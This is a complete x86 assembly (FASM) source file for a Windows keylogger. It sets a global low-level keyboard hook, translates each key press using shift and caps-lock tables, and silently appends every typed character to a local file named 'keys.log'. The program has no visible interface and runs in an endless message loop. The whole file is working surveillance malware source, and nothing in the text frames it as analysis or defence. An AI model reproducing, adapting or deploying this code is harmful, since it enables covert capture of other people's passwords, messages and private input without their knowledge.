format PE GUI
entry start
include 'win32a.inc'
section '.text' code readable executable
start:
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_ALWAYS ; Creates a file if it doesn't exist
push NULL
push FILE_SHARE_READ ; Allow other processes to read
push 0004h ; FILE_APPEND_DATA
push _file_name
call [CreateFile]
mov [hFile], eax
push NULL
call [GetModuleHandle]
push 0
push eax
push LowLevelKeyboardHook
push WH_KEYBOARD_LL
call [SetWindowsHookEx]
; Try to keep the program running with an infinite loop
@@:
push 0
push 0
push NULL
push buffer
call [GetMessage]
jmp @b
proc LowLevelKeyboardHook nCode, wParam, lParam
push ebx
push esi
push edi
cmp [wParam], WM_KEYDOWN
jne callnexthookex
; Translate the virtual-key code to something readable
mov esi, [lParam] ; Move the KBDLLHOOKSTRUCT to esi
mov esi, [esi] ; Move the vkCode to esi
cmp esi, 09h
jb callnexthookex ; Below the smallest vkCode allowed
cmp esi, 0DEh
ja callnexthookex ; Above the largest vkCode allowed
push VK_SHIFT
call [GetKeyState]
test eax, 00010000h
setnz bl ; Sets if shift key is down
push VK_CAPITAL
call [GetKeyState]
test eax, 1
setnz cl ; Sets if caps lock key is on
test bl, cl
jnz shift_capital ; Shift key is down and caps lock key is on
test bl, bl
jnz shift ; Shift key is down
test cl, cl
jnz capital ; Caps lock key is on
; Not using shift or caps lock
character:
add esi, _chars - 9 ; Make esi point to the character
jmp writefile
shift_capital:
; Use a character from shift but not if the vkCode is alphabetic
cmp esi, 41h
jb shift ; Below A key
cmp esi, 5Ah
ja shift ; Above Z key
jmp character
capital:
; Use a character from shift if the vkCode is alphabetic
cmp esi, 41h
jb character ; Below A key
cmp esi, 5Ah
ja character ; Above Z key
shift:
add esi, _shift_chars - 9
writefile:
; Check if the character is null
mov al, [esi]
test al, al
jz callnexthookex
; Write the character
push NULL
push buffer
push 1
push esi
push [hFile]
call [WriteFile]
; Call CallNextHookEx to keep the keyboard responsive
callnexthookex:
push [lParam]
push [wParam]
push [nCode]
push NULL
call [CallNextHookEx]
pop edi
pop esi
pop ebx
ret
endp
section '.rdata' data readable
_file_name db 'keys.log', 0
; For translating virtual-key codes
_chars:
db 09h
rb 3
db 0Ah
rb 18
db ' '
rb 15
db '0123456789'
rb 7
db 'abcdefghijklmnopqrstuvwxyz'
rb 5
db '0123456789*+', 0Ah, '-./'
rb 74
db ';=,-./`'
rb 26
db '[\]', "'"
_shift_chars:
db 09h
rb 3
db 0Ah
rb 18
db ' '
rb 15
db ')!@#$%^&*('
rb 7
db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
rb 5
db '0123456789*+', 0Ah, '-./'
rb 74
db ':+<_>?~'
rb 26
db '{|}"'
section '.bss' readable writeable
hFile dd ? ; Handle to the file
buffer rb 20 ; Placeholder for GetMessage and WriteFile
section '.idata' import data readable writeable
dd 0, 0, 0, rva kernel_name, rva kernel_table
dd 0, 0, 0, rva user_name, rva user_table
dd 0, 0, 0, 0, 0
kernel_name db 'kernel32.dll', 0
user_name db 'user32.dll', 0
kernel_table:
CreateFile dd rva _CreateFileA
GetModuleHandle dd rva _GetModuleHandleA
WriteFile dd rva _WriteFile
dd 0
user_table:
CallNextHookEx dd rva _CallNextHookEx
GetKeyState dd rva _GetKeyState
GetMessage dd rva _GetMessageA
SetWindowsHookEx dd rva _SetWindowsHookExA
TranslateMessage dd rva _TranslateMessage
dd 0
; kernel32.dll
_CreateFileA db 0, 0, 'CreateFileA', 0
_GetModuleHandleA db 0, 0, 'GetModuleHandleA', 0
_WriteFile db 0, 0, 'WriteFile', 0
; user32.dll
_CallNextHookEx db 0, 0, 'CallNextHookEx', 0
_GetKeyState db 0, 0, 'GetKeyState', 0
_GetMessageA db 0, 0, 'GetMessageA', 0
_SetWindowsHookExA db 0, 0, 'SetWindowsHookExA', 0
_TranslateMessage db 0, 0, 'TranslateMessage', 0